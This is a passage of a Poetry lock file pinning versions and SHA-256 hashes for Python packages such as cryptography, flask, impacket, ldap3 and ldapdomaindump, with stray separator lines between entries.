{file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:53cd68b185d98dde4ad8990e56a58dea83a4162161b1ea9272e5c9182ce415e0"},
|
||||
{file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:30a96e1e1f865f78b030d65241c1ee850cdf422d869e9028e2fc1d5e4db73b92"},
|
||||
{file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:d716a916938e03231e86e43782ca7878fb602a125a91e7acb8b5112e2e96ac16"},
|
||||
{file = "charset_normalizer-3.4.3-cp314-cp314-win32.whl", hash = "sha256:c6dbd0ccdda3a2ba7c2ecd9d77b37f3b5831687d8dc1b6ca5f56a4880cc7b7ce"},
|
||||
{file = "charset_normalizer-3.4.3-cp314-cp314-win_amd64.whl", hash = "sha256:73dc19b562516fc9bcf6e5d6e596df0b4eb98d87e4f79f3ae71840e6ed21361c"},
|
||||
{file = "charset_normalizer-3.4.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:0f2be7e0cf7754b9a30eb01f4295cc3d4358a479843b31f328afd210e2c7598c"},
|
||||
{file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c60e092517a73c632ec38e290eba714e9627abe9d301c8c8a12ec32c314a2a4b"},
|
||||
{file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:252098c8c7a873e17dd696ed98bbe91dbacd571da4b87df3736768efa7a792e4"},
|
||||
{file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3653fad4fe3ed447a596ae8638b437f827234f01a8cd801842e43f3d0a6b281b"},
|
||||
{file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8999f965f922ae054125286faf9f11bc6932184b93011d138925a1773830bbe9"},
|
||||
{file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:d95bfb53c211b57198bb91c46dd5a2d8018b3af446583aab40074bf7988401cb"},
|
||||
{file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:5b413b0b1bfd94dbf4023ad6945889f374cd24e3f62de58d6bb102c4d9ae534a"},
|
||||
{file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:b5e3b2d152e74e100a9e9573837aba24aab611d39428ded46f4e4022ea7d1942"},
|
||||
{file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:a2d08ac246bb48479170408d6c19f6385fa743e7157d716e144cad849b2dd94b"},
|
||||
{file = "charset_normalizer-3.4.3-cp38-cp38-win32.whl", hash = "sha256:ec557499516fc90fd374bf2e32349a2887a876fbf162c160e3c01b6849eaf557"},
|
||||
{file = "charset_normalizer-3.4.3-cp38-cp38-win_amd64.whl", hash = "sha256:5d8d01eac18c423815ed4f4a2ec3b439d654e55ee4ad610e153cf02faf67ea40"},
|
||||
{file = "charset_normalizer-3.4.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:70bfc5f2c318afece2f5838ea5e4c3febada0be750fcf4775641052bbba14d05"},
|
||||
{file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:23b6b24d74478dc833444cbd927c338349d6ae852ba53a0d02a2de1fce45b96e"},
|
||||
{file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:34a7f768e3f985abdb42841e20e17b330ad3aaf4bb7e7aeeb73db2e70f077b99"},
|
||||
{file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fb731e5deb0c7ef82d698b0f4c5bb724633ee2a489401594c5c88b02e6cb15f7"},
|
||||
{file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:257f26fed7d7ff59921b78244f3cd93ed2af1800ff048c33f624c87475819dd7"},
|
||||
{file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1ef99f0456d3d46a50945c98de1774da86f8e992ab5c77865ea8b8195341fc19"},
|
||||
{file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:2c322db9c8c89009a990ef07c3bcc9f011a3269bc06782f916cd3d9eed7c9312"},
|
||||
{file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:511729f456829ef86ac41ca78c63a5cb55240ed23b4b737faca0eb1abb1c41bc"},
|
||||
{file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:88ab34806dea0671532d3f82d82b85e8fc23d7b2dd12fa837978dad9bb392a34"},
|
||||
{file = "charset_normalizer-3.4.3-cp39-cp39-win32.whl", hash = "sha256:16a8770207946ac75703458e2c743631c79c59c5890c80011d536248f8eaa432"},
|
||||
{file = "charset_normalizer-3.4.3-cp39-cp39-win_amd64.whl", hash = "sha256:d22dbedd33326a4a5190dd4fe9e9e693ef12160c77382d9e87919bce54f3d4ca"},
|
||||
{file = "charset_normalizer-3.4.3-py3-none-any.whl", hash = "sha256:ce571ab16d890d23b5c278547ba694193a45011ff86a9162a71307ed9f86759a"},
|
||||
{file = "charset_normalizer-3.4.3.tar.gz", hash = "sha256:6fce4b8500244f6fcb71465d4a4930d132ba9ab8e71a7859e6a5d59851068d14"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "click"
|
||||
version = "8.2.1"
|
||||
description = "Composable command line interface toolkit"
|
||||
optional = false
|
||||
python-versions = ">=3.10"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "click-8.2.1-py3-none-any.whl", hash = "sha256:61a3265b914e850b85317d0b3109c7f8cd35a670f963866005d6ef1d5175a12b"},
|
||||
{file = "click-8.2.1.tar.gz", hash = "sha256:27c491cc05d968d271d5a1db13e3b5a184636d9d930f148c50b038f0d0646202"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
colorama = {version = "*", markers = "platform_system == \"Windows\""}
|
||||
|
||||
[[package]]
|
||||
name = "colorama"
|
||||
version = "0.4.6"
|
||||
description = "Cross-platform colored terminal text."
|
||||
optional = false
|
||||
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
|
||||
groups = ["main"]
|
||||
markers = "platform_system == \"Windows\""
|
||||
files = [
|
||||
{file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"},
|
||||
{file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cryptography"
|
||||
version = "42.0.8"
|
||||
description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers."
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:81d8a521705787afe7a18d5bfb47ea9d9cc068206270aad0b96a725022e18d2e"},
|
||||
{file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:961e61cefdcb06e0c6d7e3a1b22ebe8b996eb2bf50614e89384be54c48c6b63d"},
|
||||
{file = "cryptography-42.0.8-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e3ec3672626e1b9e55afd0df6d774ff0e953452886e06e0f1eb7eb0c832e8902"},
|
||||
{file = "cryptography-42.0.8-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e599b53fd95357d92304510fb7bda8523ed1f79ca98dce2f43c115950aa78801"},
|
||||
{file = "cryptography-42.0.8-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:5226d5d21ab681f432a9c1cf8b658c0cb02533eece706b155e5fbd8a0cdd3949"},
|
||||
{file = "cryptography-42.0.8-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:6b7c4f03ce01afd3b76cf69a5455caa9cfa3de8c8f493e0d3ab7d20611c8dae9"},
|
||||
{file = "cryptography-42.0.8-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:2346b911eb349ab547076f47f2e035fc8ff2c02380a7cbbf8d87114fa0f1c583"},
|
||||
{file = "cryptography-42.0.8-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:ad803773e9df0b92e0a817d22fd8a3675493f690b96130a5e24f1b8fabbea9c7"},
|
||||
{file = "cryptography-42.0.8-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:2f66d9cd9147ee495a8374a45ca445819f8929a3efcd2e3df6428e46c3cbb10b"},
|
||||
{file = "cryptography-42.0.8-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d45b940883a03e19e944456a558b67a41160e367a719833c53de6911cabba2b7"},
|
||||
{file = "cryptography-42.0.8-cp37-abi3-win32.whl", hash = "sha256:a0c5b2b0585b6af82d7e385f55a8bc568abff8923af147ee3c07bd8b42cda8b2"},
|
||||
{file = "cryptography-42.0.8-cp37-abi3-win_amd64.whl", hash = "sha256:57080dee41209e556a9a4ce60d229244f7a66ef52750f813bfbe18959770cfba"},
|
||||
{file = "cryptography-42.0.8-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:dea567d1b0e8bc5764b9443858b673b734100c2871dc93163f58c46a97a83d28"},
|
||||
{file = "cryptography-42.0.8-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4783183f7cb757b73b2ae9aed6599b96338eb957233c58ca8f49a49cc32fd5e"},
|
||||
{file = "cryptography-42.0.8-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a0608251135d0e03111152e41f0cc2392d1e74e35703960d4190b2e0f4ca9c70"},
|
||||
{file = "cryptography-42.0.8-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:dc0fdf6787f37b1c6b08e6dfc892d9d068b5bdb671198c72072828b80bd5fe4c"},
|
||||
{file = "cryptography-42.0.8-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:9c0c1716c8447ee7dbf08d6db2e5c41c688544c61074b54fc4564196f55c25a7"},
|
||||
{file = "cryptography-42.0.8-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:fff12c88a672ab9c9c1cf7b0c80e3ad9e2ebd9d828d955c126be4fd3e5578c9e"},
|
||||
{file = "cryptography-42.0.8-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:cafb92b2bc622cd1aa6a1dce4b93307792633f4c5fe1f46c6b97cf67073ec961"},
|
||||
{file = "cryptography-42.0.8-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:31f721658a29331f895a5a54e7e82075554ccfb8b163a18719d342f5ffe5ecb1"},
|
||||
{file = "cryptography-42.0.8-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b297f90c5723d04bcc8265fc2a0f86d4ea2e0f7ab4b6994459548d3a6b992a14"},
|
||||
{file = "cryptography-42.0.8-cp39-abi3-win32.whl", hash = "sha256:2f88d197e66c65be5e42cd72e5c18afbfae3f741742070e3019ac8f4ac57262c"},
|
||||
{file = "cryptography-42.0.8-cp39-abi3-win_amd64.whl", hash = "sha256:fa76fbb7596cc5839320000cdd5d0955313696d9511debab7ee7278fc8b5c84a"},
|
||||
{file = "cryptography-42.0.8-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ba4f0a211697362e89ad822e667d8d340b4d8d55fae72cdd619389fb5912eefe"},
|
||||
{file = "cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:81884c4d096c272f00aeb1f11cf62ccd39763581645b0812e99a91505fa48e0c"},
|
||||
{file = "cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c9bb2ae11bfbab395bdd072985abde58ea9860ed84e59dbc0463a5d0159f5b71"},
|
||||
{file = "cryptography-42.0.8-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7016f837e15b0a1c119d27ecd89b3515f01f90a8615ed5e9427e30d9cdbfed3d"},
|
||||
{file = "cryptography-42.0.8-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5a94eccb2a81a309806027e1670a358b99b8fe8bfe9f8d329f27d72c094dde8c"},
|
||||
{file = "cryptography-42.0.8-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:dec9b018df185f08483f294cae6ccac29e7a6e0678996587363dc352dc65c842"},
|
||||
{file = "cryptography-42.0.8-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:343728aac38decfdeecf55ecab3264b015be68fc2816ca800db649607aeee648"},
|
||||
{file = "cryptography-42.0.8-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:013629ae70b40af70c9a7a5db40abe5d9054e6f4380e50ce769947b73bf3caad"},
|
||||
{file = "cryptography-42.0.8.tar.gz", hash = "sha256:8d09d05439ce7baa8e9e95b07ec5b6c886f548deb7e0f69ef25f64b3bce842f2"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
cffi = {version = ">=1.12", markers = "platform_python_implementation != \"PyPy\""}
|
||||
|
||||
[package.extras]
|
||||
docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"]
|
||||
docstest = ["pyenchant (>=1.6.11)", "readme-renderer", "sphinxcontrib-spelling (>=4.0.1)"]
|
||||
nox = ["nox"]
|
||||
pep8test = ["check-sdist", "click", "mypy", "ruff"]
|
||||
sdist = ["build"]
|
||||
ssh = ["bcrypt (>=3.1.5)"]
|
||||
test = ["certifi", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"]
|
||||
test-randomorder = ["pytest-randomly"]
|
||||
|
||||
[[package]]
|
||||
name = "dnspython"
|
||||
version = "2.7.0"
|
||||
description = "DNS toolkit"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86"},
|
||||
{file = "dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "hypercorn (>=0.16.0)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "quart-trio (>=0.11.0)", "sphinx (>=7.2.0)", "sphinx-rtd-theme (>=2.0.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"]
|
||||
dnssec = ["cryptography (>=43)"]
|
||||
doh = ["h2 (>=4.1.0)", "httpcore (>=1.0.0)", "httpx (>=0.26.0)"]
|
||||
doq = ["aioquic (>=1.0.0)"]
|
||||
idna = ["idna (>=3.7)"]
|
||||
trio = ["trio (>=0.23)"]
|
||||
wmi = ["wmi (>=1.5.1)"]
|
||||
|
||||
[[package]]
|
||||
name = "flask"
|
||||
version = "3.1.1"
|
||||
description = "A simple framework for building complex web applications."
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "flask-3.1.1-py3-none-any.whl", hash = "sha256:07aae2bb5eaf77993ef57e357491839f5fd9f4dc281593a81a9e4d79a24f295c"},
|
||||
{file = "flask-3.1.1.tar.gz", hash = "sha256:284c7b8f2f58cb737f0cf1c30fd7eaf0ccfcde196099d24ecede3fc2005aa59e"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
blinker = ">=1.9.0"
|
||||
click = ">=8.1.3"
|
||||
itsdangerous = ">=2.2.0"
|
||||
jinja2 = ">=3.1.2"
|
||||
markupsafe = ">=2.1.1"
|
||||
werkzeug = ">=3.1.0"
|
||||
|
||||
[package.extras]
|
||||
async = ["asgiref (>=3.2)"]
|
||||
dotenv = ["python-dotenv"]
|
||||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.13.0"
|
||||
description = "Network protocols Constructors and Dissectors"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "impacket-0.13.0.tar.gz", hash = "sha256:d09a52befc54db82033360567deb70c48a081813d08a2221b2d1a259cd7e4e3a"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
charset_normalizer = "*"
|
||||
flask = ">=1.0"
|
||||
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
|
||||
ldapdomaindump = ">=0.9.0"
|
||||
pyasn1 = ">=0.2.3"
|
||||
pyasn1_modules = "*"
|
||||
pycryptodomex = "*"
|
||||
pyOpenSSL = "*"
|
||||
pyreadline3 = {version = "*", markers = "sys_platform == \"win32\""}
|
||||
setuptools = "*"
|
||||
six = "*"
|
||||
|
||||
[[package]]
|
||||
name = "itsdangerous"
|
||||
version = "2.2.0"
|
||||
description = "Safely pass data to untrusted environments and back."
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef"},
|
||||
{file = "itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "jinja2"
|
||||
version = "3.1.6"
|
||||
description = "A very fast and expressive template engine."
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67"},
|
||||
{file = "jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
MarkupSafe = ">=2.0"
|
||||
|
||||
[package.extras]
|
||||
i18n = ["Babel (>=2.7)"]
|
||||
|
||||
[[package]]
|
||||
name = "ldap3"
|
||||
version = "2.9.1"
|
||||
description = "A strictly RFC 4510 conforming LDAP V3 pure Python client library"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "ldap3-2.9.1-py2.py3-none-any.whl", hash = "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70"},
|
||||
{file = "ldap3-2.9.1.tar.gz", hash = "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
pyasn1 = ">=0.4.6"
|
||||
|
||||
[[package]]
|
||||
name = "ldapdomaindump"
|
||||
version = "0.10.0"
|
||||
description = "Active Directory information dumper via LDAP"
|
||||
optional = false
|
||||
python-versions = ">=3.6"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "ldapdomaindump-0.10.0-py3-none-any.whl", hash = "sha256:3797259596df7a5e1fda98388c96b1d94196f5da5551f1af1aaeedda0c9f5a11"},
|
||||
{file = "ldapdomaindump-0.10.0.tar.gz", hash = "sha256:cbc66b32a7787473ffd169c5319acde46c02fdc9d444556e6448e0def91d3299"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
dnspython = "*"
|
||||
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
|
||||
|
||||
[[package]]
|
||||
name = "markupsafe"
|
||||
version = "3.0.2"
|
||||
description = "Safely add untrusted strings to HTML/XML markup."
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "MarkupSafe-3.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7e94c425039cde14257288fd61dcfb01963e658efbc0ff54f5306b06054700f8"},
|
||||
{file = "MarkupSafe-3.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9e2d922824181480953426608b81967de705c3cef4d1af983af849d7bd619158"},
|
||||
{file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38a9ef736c01fccdd6600705b09dc574584b89bea478200c5fbf112a6b0d5579"},
|
||||
{file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbcb445fa71794da8f178f0f6d66789a28d7319071af7a496d4d507ed566270d"},
|
||||
{file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57cb5a3cf367aeb1d316576250f65edec5bb3be939e9247ae594b4bcbc317dfb"},
|
||||
{file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3809ede931876f5b2ec92eef964286840ed3540dadf803dd570c3b7e13141a3b"},
|
||||
{file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e07c3764494e3776c602c1e78e298937c3315ccc9043ead7e685b7f2b8d47b3c"},
|
||||
{file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b424c77b206d63d500bcb69fa55ed8d0e6a3774056bdc4839fc9298a7edca171"},
|
||||
{file = "MarkupSafe-3.0.2-cp310-cp310-win32.whl", hash = "sha256:fcabf5ff6eea076f859677f5f0b6b5c1a51e70a376b0579e0eadef8db48c6b50"},
|
||||
{file = "MarkupSafe-3.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:6af100e168aa82a50e186c82875a5893c5597a0c1ccdb0d8b40240b1f28b969a"},
|
||||
{file = "MarkupSafe-3.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9025b4018f3a1314059769c7bf15441064b2207cb3f065e6ea1e7359cb46db9d"},
|
||||
{file = "MarkupSafe-3.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:93335ca3812df2f366e80509ae119189886b0f3c2b81325d39efdb84a1e2ae93"},
|
||||
{file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2cb8438c3cbb25e220c2ab33bb226559e7afb3baec11c4f218ffa7308603c832"},
|
||||
{file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a123e330ef0853c6e822384873bef7507557d8e4a082961e1defa947aa59ba84"},
|
||||
{file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e084f686b92e5b83186b07e8a17fc09e38fff551f3602b249881fec658d3eca"},
|
||||
{file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d8213e09c917a951de9d09ecee036d5c7d36cb6cb7dbaece4c71a60d79fb9798"},
|
||||
{file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5b02fb34468b6aaa40dfc198d813a641e3a63b98c2b05a16b9f80b7ec314185e"},
|
||||
{file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0bff5e0ae4ef2e1ae4fdf2dfd5b76c75e5c2fa4132d05fc1b0dabcd20c7e28c4"},
|
||||
{file = "MarkupSafe-3.0.2-cp311-cp311-win32.whl", hash = "sha256:6c89876f41da747c8d3677a2b540fb32ef5715f97b66eeb0c6b66f5e3ef6f59d"},
|
||||
{file = "MarkupSafe-3.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:70a87b411535ccad5ef2f1df5136506a10775d267e197e4cf531ced10537bd6b"},
|
||||
{file = "MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf"},
|
||||
{file = "MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225"},
|
||||
{file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028"},
|
||||
{file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8"},
|
||||
{file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c"},
|
||||
{file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557"},
|
||||
{file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22"},
|
||||
{file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48"},
|
||||
{file = "MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30"},
|
||||
{file = "MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb"},
|
||||
{file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c"},
|
||||
